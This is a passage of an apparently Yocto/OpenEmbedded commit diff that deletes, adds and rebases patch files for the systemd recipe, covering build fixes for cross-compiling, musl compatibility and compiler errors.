- log_debug_errno(r, "Failed to turn off coredumps, ignoring: %m");
- }
-diff --git a/src/binfmt/binfmt.c b/src/binfmt/binfmt.c
-index aa9d811f2e..8c7f2dae7a 100644
---- a/src/binfmt/binfmt.c
-+++ b/src/binfmt/binfmt.c
-@@ -48,7 +48,7 @@ static int delete_rule(const char *rule) {
- if (!fn)
- return log_oom();
-
-- return write_string_file(fn, "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(fn, "-1", 0);
- }
-
- static int apply_rule(const char *rule) {
-@@ -56,7 +56,7 @@ static int apply_rule(const char *rule) {
-
- (void) delete_rule(rule);
-
-- r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to add binary format: %m");
-
-@@ -213,7 +213,7 @@ static int run(int argc, char *argv[]) {
- }
-
- /* Flush out all rules */
-- (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
-
- STRV_FOREACH(f, files) {
- k = apply_file(*f, true);
-diff --git a/src/core/main.c b/src/core/main.c
-index bcce7178a8..4199cedab9 100644
---- a/src/core/main.c
-+++ b/src/core/main.c
-@@ -1285,7 +1285,7 @@ static int bump_unix_max_dgram_qlen(void) {
- if (v >= DEFAULT_UNIX_MAX_DGRAM_QLEN)
- return 0;
-
-- r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", WRITE_STRING_FILE_DISABLE_BUFFER, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
-+ r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", 0, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
- if (r < 0)
- return log_full_errno(IN_SET(r, -EROFS, -EPERM, -EACCES) ? LOG_DEBUG : LOG_WARNING, r,
- "Failed to bump AF_UNIX datagram queue length, ignoring: %m");
-@@ -1509,7 +1509,7 @@ static void initialize_core_pattern(bool skip_setup) {
- if (getpid_cached() != 1)
- return;
-
-- r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to write '%s' to /proc/sys/kernel/core_pattern, ignoring: %m", arg_early_core_pattern);
- }
-diff --git a/src/core/smack-setup.c b/src/core/smack-setup.c
-index b95e6239d4..fdbdaaaccb 100644
---- a/src/core/smack-setup.c
-+++ b/src/core/smack-setup.c
-@@ -325,17 +325,17 @@ int mac_smack_setup(bool *loaded_policy) {
- }
-
- #ifdef SMACK_RUN_LABEL
-- r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK label \"" SMACK_RUN_LABEL "\" on self: %m");
-- r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK ambient label \"" SMACK_RUN_LABEL "\": %m");
- r = write_string_file("/sys/fs/smackfs/netlabel",
-- "0.0.0.0/0 " SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ "0.0.0.0/0 " SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK netlabel rule \"0.0.0.0/0 " SMACK_RUN_LABEL "\": %m");
-- r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK netlabel rule \"127.0.0.1 -CIPSO\": %m");
- #endif
-diff --git a/src/hibernate-resume/hibernate-resume.c b/src/hibernate-resume/hibernate-resume.c
-index 17e7cd1a00..87a7667716 100644
---- a/src/hibernate-resume/hibernate-resume.c
-+++ b/src/hibernate-resume/hibernate-resume.c
-@@ -45,7 +45,7 @@ int main(int argc, char *argv[]) {
- return EXIT_FAILURE;
- }
-
-- r = write_string_file("/sys/power/resume", major_minor, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume", major_minor, 0);
- if (r < 0) {
- log_error_errno(r, "Failed to write '%s' to /sys/power/resume: %m", major_minor);
- return EXIT_FAILURE;
-diff --git a/src/libsystemd/sd-device/sd-device.c b/src/libsystemd/sd-device/sd-device.c
-index c4a7f2f3d3..bcac758284 100644
---- a/src/libsystemd/sd-device/sd-device.c
-+++ b/src/libsystemd/sd-device/sd-device.c
-@@ -1849,7 +1849,7 @@ _public_ int sd_device_set_sysattr_value(sd_device *device, const char *sysattr,
- if (!value)
- return -ENOMEM;
-
-- r = write_string_file(path, value, WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_NOFOLLOW);
-+ r = write_string_file(path, value, 0 | WRITE_STRING_FILE_NOFOLLOW);
- if (r < 0) {
- if (r == -ELOOP)
- return -EINVAL;
-diff --git a/src/login/logind-dbus.c b/src/login/logind-dbus.c
-index 30b9a66334..cc1d577933 100644
---- a/src/login/logind-dbus.c
-+++ b/src/login/logind-dbus.c
-@@ -1325,7 +1325,7 @@ static int trigger_device(Manager *m, sd_device *d) {
- if (!t)
- return -ENOMEM;
-
-- (void) write_string_file(t, "change", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ (void) write_string_file(t, "change", 0);
- }
-
- return 0;
-diff --git a/src/nspawn/nspawn-cgroup.c b/src/nspawn/nspawn-cgroup.c
-index 0462b46413..7c53d41483 100644
---- a/src/nspawn/nspawn-cgroup.c
-+++ b/src/nspawn/nspawn-cgroup.c
-@@ -123,7 +123,7 @@ int sync_cgroup(pid_t pid, CGroupUnified unified_requested, uid_t uid_shift) {
- fn = strjoina(tree, cgroup, "/cgroup.procs");
-
- sprintf(pid_string, PID_FMT, pid);
-- r = write_string_file(fn, pid_string, WRITE_STRING_FILE_DISABLE_BUFFER|WRITE_STRING_FILE_MKDIR_0755);
-+ r = write_string_file(fn, pid_string, WRITE_STRING_FILE_MKDIR_0755);
- if (r < 0) {
- log_error_errno(r, "Failed to move process: %m");
- goto finish;
-diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
-index 2aec8041f0..841542f2f3 100644
---- a/src/nspawn/nspawn.c
-+++ b/src/nspawn/nspawn.c
-@@ -2357,7 +2357,7 @@ static int reset_audit_loginuid(void) {
- if (streq(p, "4294967295"))
- return 0;
-
-- r = write_string_file("/proc/self/loginuid", "4294967295", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/self/loginuid", "4294967295", 0);
- if (r < 0) {
- log_error_errno(r,
- "Failed to reset audit login UID. This probably means that your kernel is too\n"
-@@ -3566,13 +3566,13 @@ static int setup_uid_map(pid_t pid) {
-
- xsprintf(uid_map, "/proc/" PID_FMT "/uid_map", pid);
- xsprintf(line, UID_FMT " " UID_FMT " " UID_FMT "\n", 0, arg_uid_shift, arg_uid_range);
-- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(uid_map, line, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to write UID map: %m");
-
- /* We always assign the same UID and GID ranges */
- xsprintf(uid_map, "/proc/" PID_FMT "/gid_map", pid);
-- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(uid_map, line, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to write GID map: %m");
-
-diff --git a/src/shared/sysctl-util.c b/src/shared/sysctl-util.c
-index 93bdcf11bf..68cddb7a9f 100644
---- a/src/shared/sysctl-util.c
-+++ b/src/shared/sysctl-util.c
-@@ -88,7 +88,7 @@ int sysctl_write_ip_property(int af, const char *ifname, const char *property, c
-
- log_debug("Setting '%s' to '%s'", p, value);
-
-- return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | 0);
- }
-
- int sysctl_read(const char *property, char **content) {
-diff --git a/src/sleep/sleep.c b/src/sleep/sleep.c
-index b9fe96635d..f168d7f890 100644
---- a/src/sleep/sleep.c
-+++ b/src/sleep/sleep.c
-@@ -54,7 +54,7 @@ static int write_hibernate_location_info(void) {
-
- /* if it's a swap partition, we just write the disk to /sys/power/resume */
- if (streq(type, "partition")) {
-- r = write_string_file("/sys/power/resume", device, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume", device, 0);
- if (r < 0)
- return log_debug_errno(r, "Failed to write partition device to /sys/power/resume: %m");
-
-@@ -98,14 +98,14 @@ static int write_hibernate_location_info(void) {
-
- offset = fiemap->fm_extents[0].fe_physical / page_size();
- xsprintf(offset_str, "%" PRIu64, offset);
-- r = write_string_file("/sys/power/resume_offset", offset_str, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume_offset", offset_str, 0);
- if (r < 0)
- return log_debug_errno(r, "Failed to write offset '%s': %m", offset_str);
-
- log_debug("Wrote calculated resume_offset value to /sys/power/resume_offset: %s", offset_str);
-
- xsprintf(device_str, "%lx", (unsigned long)stb.st_dev);
-- r = write_string_file("/sys/power/resume", device_str, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume", device_str, 0);
- if (r < 0)
- return log_debug_errno(r, "Failed to write device '%s': %m", device_str);
-
-@@ -121,7 +121,7 @@ static int write_mode(char **modes) {
- STRV_FOREACH(mode, modes) {
- int k;
-
-- k = write_string_file("/sys/power/disk", *mode, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ k = write_string_file("/sys/power/disk", *mode, 0);
- if (k >= 0)
- return 0;
-
-@@ -140,7 +140,7 @@ static int write_state(FILE **f, char **states) {
- STRV_FOREACH(state, states) {
- int k;
-
-- k = write_string_stream(*f, *state, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ k = write_string_stream(*f, *state, 0);
- if (k >= 0)
- return 0;
- log_debug_errno(k, "Failed to write '%s' to /sys/power/state: %m", *state);
-diff --git a/src/udev/udevadm-trigger.c b/src/udev/udevadm-trigger.c
-index 77d95e513f..25ce4abfb1 100644
---- a/src/udev/udevadm-trigger.c
-+++ b/src/udev/udevadm-trigger.c
-@@ -43,7 +43,7 @@ static int exec_list(sd_device_enumerator *e, const char *action, Set *settle_se
- if (!filename)
- return log_oom();
-
-- r = write_string_file(filename, action, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(filename, action, 0);
- if (r < 0) {
- log_full_errno(r == -ENOENT ? LOG_DEBUG : LOG_ERR, r,
- "Failed to write '%s' to '%s': %m", action, filename);
-diff --git a/src/udev/udevd.c b/src/udev/udevd.c
-index cb5123042a..ea309a9e7f 100644
---- a/src/udev/udevd.c
-+++ b/src/udev/udevd.c
-@@ -1113,7 +1113,7 @@ static int synthesize_change_one(sd_device *dev, const char *syspath) {
-
- filename = strjoina(syspath, "/uevent");
- log_device_debug(dev, "device is closed, synthesising 'change' on %s", syspath);
-- r = write_string_file(filename, "change", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(filename, "change", 0);
- if (r < 0)
- return log_device_debug_errno(dev, r, "Failed to write 'change' to %s: %m", filename);
- return 0;
-diff --git a/src/vconsole/vconsole-setup.c b/src/vconsole/vconsole-setup.c
-index 75d052ae70..5a15c939d8 100644
---- a/src/vconsole/vconsole-setup.c
-+++ b/src/vconsole/vconsole-setup.c
-@@ -117,7 +117,7 @@ static int toggle_utf8_vc(const char *name, int fd, bool utf8) {
- static int toggle_utf8_sysfs(bool utf8) {
- int r;
-
-- r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), 0);
- if (r < 0)
- return log_warning_errno(r, "Failed to %s sysfs UTF-8 flag: %m", enable_disable(utf8));
-
diff --git a/meta/recipes-core/systemd/systemd/0001-meson-Add-Defi-objcopy-option-to-specify-objcopy.patch b/meta/recipes-core/systemd/systemd/0001-meson-Add-Defi-objcopy-option-to-specify-objcopy.patch
deleted file mode 100644
index 7d764b4115..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-meson-Add-Defi-objcopy-option-to-specify-objcopy.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 3f37ad5e083dcad51c21c1050b2829b70d240b52 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Tue, 6 Aug 2019 03:10:20 +0000
-Subject: [PATCH] meson: Add -Defi-objcopy option to specify objcopy
-
-This helps in cross compiling for x86 target on a aarch64 host e.g.
-Fixes
-TOPDIR/build/tmp/hosttools/objcopy:src/boot/efi/systemd_boot.so: Invalid bfd target
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- meson_options.txt | 2 ++
- src/boot/efi/meson.build | 5 ++++-
- 2 files changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/meson_options.txt b/meson_options.txt
-index d4ec37dda2..dc1c96e112 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -296,6 +296,8 @@ option('efi-cc', type : 'array',
- description : 'the compiler to use for EFI modules')
- option('efi-ld', type : 'string',
- description : 'the linker to use for EFI modules')
-+option('efi-objcopy', type : 'string',
-+ description : 'the objcopy to use for EFI')
- option('efi-libdir', type : 'string',
- description : 'path to the EFI lib directory')
- option('efi-ldsdir', type : 'string',
-diff --git a/src/boot/efi/meson.build b/src/boot/efi/meson.build
-index 0ae3191635..5a7137bc84 100644
---- a/src/boot/efi/meson.build
-+++ b/src/boot/efi/meson.build
-@@ -88,7 +88,10 @@ if have_gnu_efi
- output : 'efi_config.h',
- configuration : efi_conf)
-
-- objcopy = find_program('objcopy')
-+ objcopy = get_option('efi-objcopy')
-+ if objcopy == ''
-+ objcopy = find_program('objcopy', required: true)
-+ endif
-
- efi_ldsdir = get_option('efi-ldsdir')
- arch_lds = 'elf_@0@_efi.lds'.format(gnu_efi_path_arch)
---
-2.17.1
-
diff --git a/meta/recipes-core/systemd/systemd/0001-pass-correct-parameters-to-getdents64.patch b/meta/recipes-core/systemd/systemd/0001-pass-correct-parameters-to-getdents64.patch
new file mode 100644
index 0000000000..03a29b5327
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0001-pass-correct-parameters-to-getdents64.patch
@@ -0,0 +1,50 @@
+From fbc10748c7c59d82024a4d35146b8dfef8d52927 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 21 Jan 2022 15:15:11 -0800
+Subject: [PATCH 1/2] pass correct parameters to getdents64
+
+Fixes
+../git/src/basic/recurse-dir.c:57:40: error: incompatible pointer types passing 'uint8_t *' (aka 'unsigned char *') to parameter of type 'struct dirent *' [-Werror,-Wincompatible-pointer-types]
+ n = getdents64(dir_fd, (uint8_t*) de->buffer + de->buffer_size, bs - de->buffer_size);
+ ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+../git/src/basic/stat-util.c:102:28: error: incompatible pointer types passing 'union (unnamed union at ../git/src/basic/stat-util.c:78:9) *' to parameter of type 'struct dirent *' [-Werror,-Wincompatible-pointer-types]
+ n = getdents64(fd, &buffer, sizeof(buffer));
+ ^~~~~~~
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/basic/recurse-dir.c | 2 +-
+ src/basic/stat-util.c | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/basic/recurse-dir.c b/src/basic/recurse-dir.c
+index efa1797b7b..797285e3be 100644
+--- a/src/basic/recurse-dir.c
++++ b/src/basic/recurse-dir.c
+@@ -54,7 +54,7 @@ int readdir_all(int dir_fd,
+ bs = MIN(MALLOC_SIZEOF_SAFE(de) - offsetof(DirectoryEntries, buffer), (size_t) SSIZE_MAX);
+ assert(bs > de->buffer_size);
+
+- n = getdents64(dir_fd, (uint8_t*) de->buffer + de->buffer_size, bs - de->buffer_size);
++ n = getdents64(dir_fd, de->buffer + de->buffer_size, bs - de->buffer_size);
+ if (n < 0)
+ return -errno;
+ if (n == 0)
+diff --git a/src/basic/stat-util.c b/src/basic/stat-util.c
+index efac7b002e..9e1fe7f5a0 100644
+--- a/src/basic/stat-util.c
++++ b/src/basic/stat-util.c
+@@ -99,7 +99,7 @@ int dir_is_empty_at(int dir_fd, const char *path) {
+ return fd;
+ }
+
+- n = getdents64(fd, &buffer, sizeof(buffer));
++ n = getdents64(fd, (struct dirent *)&buffer, sizeof(buffer));
+ if (n < 0)
+ return -errno;
+
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch b/meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch
new file mode 100644
index 0000000000..752824688f
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0001-systemd.pc.in-use-ROOTPREFIX-without-suffixed-slash.patch
@@ -0,0 +1,42 @@
+From 58860e0f248576a80ff2af256ba42713c186ae93 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 29 Sep 2020 18:01:41 -0700
+Subject: [PATCH] systemd.pc.in: use ROOTPREFIX without suffixed slash
+
+This complements the commit
+https://github.com/poettering/systemd/commit/b612c26ceb9f56af0271fc9f07c1724d2d260a8a
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/core/systemd.pc.in | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/src/core/systemd.pc.in b/src/core/systemd.pc.in
+index b5cc8f9..21dbf30 100644
+--- a/src/core/systemd.pc.in
++++ b/src/core/systemd.pc.in
+@@ -65,16 +65,16 @@ systemdshutdowndir=${systemd_shutdown_dir}
+ tmpfiles_dir=${prefix}/lib/tmpfiles.d
+ tmpfilesdir=${tmpfiles_dir}
+
+-sysusers_dir=${rootprefix}/lib/sysusers.d
++sysusers_dir=${prefix}/lib/sysusers.d
+ sysusersdir=${sysusers_dir}
+
+-sysctl_dir=${rootprefix}/lib/sysctl.d
++sysctl_dir=${prefix}/lib/sysctl.d
+ sysctldir=${sysctl_dir}
+
+-binfmt_dir=${rootprefix}/lib/binfmt.d
++binfmt_dir=${prefix}/lib/binfmt.d
+ binfmtdir=${binfmt_dir}
+
+-modules_load_dir=${rootprefix}/lib/modules-load.d
++modules_load_dir=${prefix}/lib/modules-load.d
+ modulesloaddir=${modules_load_dir}
+
+ catalog_dir=${prefix}/lib/systemd/catalog
+--
+2.25.1
+
diff --git a/meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch b/meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch
new file mode 100644
index 0000000000..898e8af904
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0001-test-parse-argument-Include-signal.h.patch
@@ -0,0 +1,27 @@
+From 93c7e482d39cf7765974b3c729d29c1b120a60e3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 24 May 2021 18:26:27 -0700
+Subject: [PATCH] test-parse-argument: Include signal.h
+
+Fixes
+src/test/test-parse-argument.c:49:29: error: use of undeclared identifier 'SIGABRT'
+
+Upstream-Status: Submitted [https://github.com/systemd/systemd/pull/19718]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/test/test-parse-argument.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/test/test-parse-argument.c b/src/test/test-parse-argument.c
+index cf3d54288a..15104e5282 100644
+--- a/src/test/test-parse-argument.c
++++ b/src/test/test-parse-argument.c
+@@ -5,6 +5,7 @@
+ #include "parse-argument.h"
+ #include "stdio-util.h"
+ #include "tests.h"
++#include <signal.h>
+
+ TEST(parse_json_argument) {
+ JsonFormatFlags flags = JSON_FORMAT_PRETTY;
diff --git a/meta/recipes-core/systemd/systemd/0001-unit-file.c-consider-symlink-on-filesystems-like-NFS.patch b/meta/recipes-core/systemd/systemd/0001-unit-file.c-consider-symlink-on-filesystems-like-NFS.patch
deleted file mode 100644
index ba20a0bb46..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-unit-file.c-consider-symlink-on-filesystems-like-NFS.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From d0122c077d2d8fd0fd29b463c501e7ddf9177ff3 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Tue, 24 Sep 2019 17:04:50 +0800
-Subject: [PATCH] unit-file.c: consider symlink on filesystems like NFS
-
-Some filesystems do not fully support readdir, according to the manual,
-so we should also consider DT_UNKNOWN to correctly handle symlinks.
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
-Upstream-Status: Submitted [https://github.com/systemd/systemd/pull/13637]
----
- src/shared/unit-file.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/src/shared/unit-file.c b/src/shared/unit-file.c
-index 4a5f23e6c1..8373103000 100644
---- a/src/shared/unit-file.c
-+++ b/src/shared/unit-file.c
-@@ -247,6 +247,7 @@ int unit_file_build_name_map(
- _cleanup_free_ char *_filename_free = NULL, *simplified = NULL;
- const char *suffix, *dst = NULL;
- bool valid_unit_name;
-+ struct stat sb;
-
- valid_unit_name = unit_name_is_valid(de->d_name, UNIT_NAME_ANY);
-
-@@ -279,7 +280,10 @@ int unit_file_build_name_map(
- if (hashmap_contains(ids, de->d_name))
- continue;
-
-- if (de->d_type == DT_LNK) {
-+ if (de->d_type == DT_LNK ||
-+ (de->d_type == DT_UNKNOWN &&
-+ lstat(filename, &sb) == 0 &&
-+ (sb.st_mode & S_IFMT) == S_IFLNK)) {
- /* We don't explicitly check for alias loops here. unit_ids_map_get() which
- * limits the number of hops should be used to access the map. */
-
---
-2.17.1
-
diff --git a/meta/recipes-core/systemd/systemd/0002-Add-sys-stat.h-for-S_IFDIR.patch b/meta/recipes-core/systemd/systemd/0002-Add-sys-stat.h-for-S_IFDIR.patch
new file mode 100644
index 0000000000..7dfa1a0df2
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0002-Add-sys-stat.h-for-S_IFDIR.patch
@@ -0,0 +1,29 @@
+From d16f7b37c917b91e951b9313e2c8264c72ed93e5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 21 Jan 2022 15:17:37 -0800
+Subject: [PATCH 2/2] Add sys/stat.h for S_IFDIR
+
+../git/src/shared/mkdir-label.c:13:61: error: use of undeclared identifier 'S_IFDIR'
+ r = mac_selinux_create_file_prepare_at(dirfd, path, S_IFDIR);
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/shared/mkdir-label.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/shared/mkdir-label.c b/src/shared/mkdir-label.c
+index d36a6466d7..63b764cd83 100644
+--- a/src/shared/mkdir-label.c
++++ b/src/shared/mkdir-label.c
+@@ -4,6 +4,7 @@
+ #include "selinux-util.h"
+ #include "smack-util.h"
+ #include "user-util.h"
++#include <sys/stat.h>
+
+ int mkdirat_label(int dirfd, const char *path, mode_t mode) {
+ int r;
+--
+2.34.1
+
diff --git a/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch b/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
index c6213ab88e..5027682df2 100644
--- a/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
+++ b/meta/recipes-core/systemd/systemd/0002-don-t-use-glibc-specific-qsort_r.patch
@@ -1,7 +1,7 @@
-From 1eb84534dea05d41afed1d898cba212ad7d310dd Mon Sep 17 00:00:00 2001
+From 5d730902f47498a2866b46875352f6810a01d67c Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 13:41:41 +0800
-Subject: [PATCH 02/24] don't use glibc-specific qsort_r
+Subject: [PATCH] don't use glibc-specific qsort_r
Upstream-Status: Inappropriate [musl specific]
@@ -10,22 +10,22 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
[Rebased for v242]
Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+[Rebased for v247]
+Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
+
---
- src/basic/sort-util.h | 14 --------------
- src/libsystemd/sd-hwdb/hwdb-util.c | 19 ++++++++++++++-----
- src/shared/format-table.c | 36 ++++++++++++++++++++++++------------
+ src/basic/sort-util.h | 14 --------------
+ src/shared/format-table.c | 36 ++++++++++++++++++++++++------------
+ src/shared/hwdb-util.c | 19 ++++++++++++++-----
3 files changed, 38 insertions(+), 31 deletions(-)
-diff --git a/src/basic/sort-util.h b/src/basic/sort-util.h
-index e029f8646e..27d68b341c 100644
--- a/src/basic/sort-util.h
+++ b/src/basic/sort-util.h
-@@ -54,17 +54,3 @@ static inline void qsort_safe(void *base, size_t nmemb, size_t size, __compar_fn
- int (*_func_)(const typeof(p[0])*, const typeof(p[0])*) = func; \
- qsort_safe((p), (n), sizeof((p)[0]), (__compar_fn_t) _func_); \
+@@ -61,18 +61,4 @@ static inline void _qsort_safe(void *bas
+ _qsort_safe((p), (n), sizeof((p)[0]), (comparison_fn_t) _func_); \
})
--
--static inline void qsort_r_safe(void *base, size_t nmemb, size_t size, __compar_d_fn_t compar, void *userdata) {
+
+-static inline void qsort_r_safe(void *base, size_t nmemb, size_t size, comparison_userdata_fn_t compar, void *userdata) {
- if (nmemb <= 1)
- return;
-
@@ -36,57 +36,13 @@ index e029f8646e..27d68b341c 100644
-#define typesafe_qsort_r(p, n, func, userdata) \
- ({ \
- int (*_func_)(const typeof(p[0])*, const typeof(p[0])*, typeof(userdata)) = func; \
-- qsort_r_safe((p), (n), sizeof((p)[0]), (__compar_d_fn_t) _func_, userdata); \
+- qsort_r_safe((p), (n), sizeof((p)[0]), (comparison_userdata_fn_t) _func_, userdata); \
- })
-diff --git a/src/libsystemd/sd-hwdb/hwdb-util.c b/src/libsystemd/sd-hwdb/hwdb-util.c
-index c83575c7c8..72f8f3a050 100644
---- a/src/libsystemd/sd-hwdb/hwdb-util.c
-+++ b/src/libsystemd/sd-hwdb/hwdb-util.c
-@@ -128,9 +128,13 @@ static void trie_free(struct trie *trie) {
-
- DEFINE_TRIVIAL_CLEANUP_FUNC(struct trie*, trie_free);
-
--static int trie_values_cmp(const struct trie_value_entry *a, const struct trie_value_entry *b, struct trie *trie) {
-- return strcmp(trie->strings->buf + a->key_off,
-- trie->strings->buf + b->key_off);
-+static struct trie *trie_node_add_value_trie;
-+static int trie_values_cmp(const void *v1, const void *v2) {
-+ const struct trie_value_entry *a = v1;
-+ const struct trie_value_entry *b = v2;
-+
-+ return strcmp(trie_node_add_value_trie->strings->buf + a->key_off,
-+ trie_node_add_value_trie->strings->buf + b->key_off);
- }
-
- static int trie_node_add_value(struct trie *trie, struct trie_node *node,
-@@ -158,7 +162,10 @@ static int trie_node_add_value(struct trie *trie, struct trie_node *node,
- .value_off = v,
- };
-
-- val = typesafe_bsearch_r(&search, node->values, node->values_count, trie_values_cmp, trie);
-+ trie_node_add_value_trie = trie;
-+ val = bsearch(&search, node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
-+ trie_node_add_value_trie = NULL;
-+
- if (val) {
- /* At this point we have 2 identical properties on the same match-string.
- * Since we process files in order, we just replace the previous value. */
-@@ -184,7 +191,9 @@ static int trie_node_add_value(struct trie *trie, struct trie_node *node,
- .line_number = line_number,
- };
- node->values_count++;
-- typesafe_qsort_r(node->values, node->values_count, trie_values_cmp, trie);
-+ trie_node_add_value_trie = trie;
-+ qsort(node->values, node->values_count, sizeof(struct trie_value_entry), trie_values_cmp);
-+ trie_node_add_value_trie = NULL;
- return 0;
- }
-
-diff --git a/src/shared/format-table.c b/src/shared/format-table.c
-index a5c0a99b08..d595cbe372 100644
+-
+ int cmp_int(const int *a, const int *b);
--- a/src/shared/format-table.c
+++ b/src/shared/format-table.c
-@@ -850,31 +850,33 @@ static int cell_data_compare(TableData *a, size_t index_a, TableData *b, size_t
+@@ -1324,30 +1324,32 @@ static int cell_data_compare(TableData *
return CMP(index_a, index_b);
}
@@ -94,7 +50,6 @@ index a5c0a99b08..d595cbe372 100644
+static Table *user_table;
+static int table_data_compare(const void *x, const void *y) {
+ const size_t *a = x, *b=y;
- size_t i;
int r;
- assert(t);
@@ -114,8 +69,8 @@ index a5c0a99b08..d595cbe372 100644
return 1;
/* Order other lines by the sorting map */
-- for (i = 0; i < t->n_sort_map; i++) {
-+ for (i = 0; i < user_table->n_sort_map; i++) {
+- for (size_t i = 0; i < t->n_sort_map; i++) {
++ for (size_t i = 0; i < user_table->n_sort_map; i++) {
TableData *d, *dd;
